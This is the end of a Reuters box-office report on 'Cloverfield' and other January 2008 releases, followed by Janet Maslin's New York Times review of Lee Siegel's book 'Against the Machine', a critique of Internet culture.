Now, "Cloverfield" is on track to set a record for the Martin Luther King holiday weekend. A Paramount spokesman said on Saturday that the studio expects the film to earn $46.75 million for the four-day period -- double its earlier forecast. The current holiday record-holder is "Black Hawk Down" with four-day sales of $33.6 million in 2002.

With a budget of only $25 million, "Cloverfield" will prove a vital money-spinner for Paramount, which has been undergoing a restructuring since former talent manager Brad Grey took over Viacom Inc's moribund studio in March 2005. Much of Paramount's business last year was with pictures inherited from its 2006 purchase of DreamWorks.

Twentieth Century Fox, a unit of News Corp, declined to predict a weekend figure for "27 Dresses" until more data come in on Sunday morning.

Last weekend's champion, Warner Bros. Pictures' "The Bucket List," fell to No. 3 with $4.2 million, according to Box Office Mojo, which analyzes ticket sales data. Fox Searchlight Pictures' "Juno" slipped one to No. 4 with $3.1 million, and Overture Films' debut release, the heist comedy "Mad Money," opened at No. 5 with a modest $2.3 million.

Warner Bros. is a unit of Time Warner Inc. Fox Searchlight is also a unit of News Corp. Overture is a unit of Liberty Media Corp.'s cable TV channel Starz LLC.

(Reporting by Dean Goodman; Editing by Vicki Allen)
http://www.reuters.com/article/enter...34427720080119





Spinning Out Into the Pileup on the Information Superhighway
Janet Maslin

AGAINST THE MACHINE

Being Human in the Age of the Electronic Mob

By Lee Siegel

182 pages. Spiegel & Grau. $22.95.

In “Against the Machine,” the swaggeringly abrasive cultural critic Lee Siegel pays a visit to Starbucks. He sits down. He looks around. And he finds himself surrounded by Internet zombies, laptop-addicted creatures who have so grievously lost their capacity for human interaction “that social space has been contracted into isolated points of wanting, all locked into separate phases of inwardness.” How long until they wake up and smell the coffee?

Mr. Siegel’s field trip illustrates several things, not least that Starbucks is today’s most hackneyed reportorial setting. His outing captures a vision of connectivity that is the precise opposite of what it appears to be. For him the semblance of a shared Starbucks experience masks endemic computer-generated isolation, a condition that has prompted psychic and ethical breakdowns that go well beyond the collapse of community.

Though Mr. Siegel is hardly the first observer to deem this a sinister side of Internet culture, he turns out to be an impressively tough, cogent and furious one. His diatribe would bring to mind the prescient haranguing style of Pauline Kael, even if Mr. Siegel, who does not treat his own reputation lightly, were not trumpeting the phrase “Pauline Kael of the Internet” himself.

In any case, Mr. Siegel has done something in which Ms. Kael once specialized: nailing an inchoate malaise that we already experience but cannot easily explain. He asks, in brief, why we are living so gullibly through what would have been the plot of a science-fiction movie 15 years ago. Why does the freedom promised by the Internet feel so regimented and constricting? Why do its forms of democracy have their totalitarian side? What happens to popular culture when its sole emphasis is on popularity? How have we gone “from ‘I love that thing he does!’ to ‘Look at all those page views!’ in just a few years”? Mr. Siegel links all these questions to a fundamental assumption about the Internet, one that has been widely posited by other analysts: that it is a liberating entity, one that generates endless opportunities for creative endeavor.

He is quick to insist that most of those opportunities boil down to business matters, and that “the Internet’s vision of ‘consumers’ as ‘producers’ has turned inner life into an advanced type of commodity.” At the risk of harping heavily on this central point, Mr. Siegel provides example after example of how surreptitiously this process of co-option works.

He shows, for instance, how the fan of a television show can be led to a Web site where the show can be approached in a supposedly interactive fashion. “ ‘Which character are you most like?’ ” he asks, citing a question posed about “Grey’s Anatomy.” And parenthetically: “(You’ll also have to read an ad for a vaccine against genital warts. Ask your doctor if it’s right for you.)”

The price of such diversions is, in Mr. Siegel’s succinct appraisal, devastating. It turns our passive, private, spontaneous appreciation of popular culture into something active, public and market-driven. It leads us to confuse self-expression (which is, of course, all about us) with art (which more generously “speaks to us even though it doesn’t know we’re there”). It has created what Mr. Siegel calls the first true mass culture, though he cites critics who in 1957 worried about how culture could be degraded by the masses. Culture for the masses, he says, was a worry of the past. Culture by the masses is what is being born in the present and will shape the future.

Peppering his argument with potshots at writers (among them Mark Dery and Malcolm Gladwell) who view any of these developments enthusiastically, Mr. Siegel both defines and decries an array of current misconceptions. We are being persuaded that information and knowledge are interchangeable, he claims, when they are not; we would have citizen heart surgeons if information were all that mattered. And mainstream news outlets, which Mr. Siegel is otherwise delighted to assail (his love-hate relationship with The New York Times is particularly intense), suddenly look worthwhile to him by virtue of their real, earned authority. Better the old press than the new tyranny of bloggers. Their self-interest, he says, makes them more mainstream than any standard news source could possibly be.

The vindictiveness and disproportionate influence of the blogosphere is a particularly sore subject. Who is it that “rewrote history, made anonymous accusations, hired and elevated hacks and phonies, ruined reputations at will, and airbrushed suddenly unwanted associates out of documents and photographs”? Mr. Siegel’s immediate answer is Stalin. But he alleges that the new power players of the blogosphere have appropriated similar powers.

Mr. Siegel himself became a great big blog-attack casualty when, in what he wishfully calls “my rollicking misadventure in the online world,” he was caught pseudonymously praising himself on the Web site of The New Republic, where he had been a particularly savage and reckless blogger. One of the improbable virtues of “Against the Machine” is that it presents a rigorously sane, fair and illuminating incarnation of its more often hotheaded author.

But Mr. Siegel is still Mr. Siegel, which is to say that he isn’t shy. So the reader can learn more about him than the reader might want to know. His example of how the Web finds the banal in the formerly forbidden? Masochism.com. His avatar in the spooky online game Second Life? Delbert, a guy in a red fedora. His example of an eBay experience? Sit back with him and shop for a watch, or graze at match.com. “I take a sip of coffee and consider,” he writes. “Various options are before me.”

At moments like this “Against the Machine” is dangerously close to revisiting that lazy, figurative Starbucks. But far more often it brings dead-on accuracy to depicting the quietly insinuating ways in which the Internet can blow your mind. And it announces exactly what’s wrong with this picture.
http://www.nytimes.com/2008/01/17/books/17masl.html
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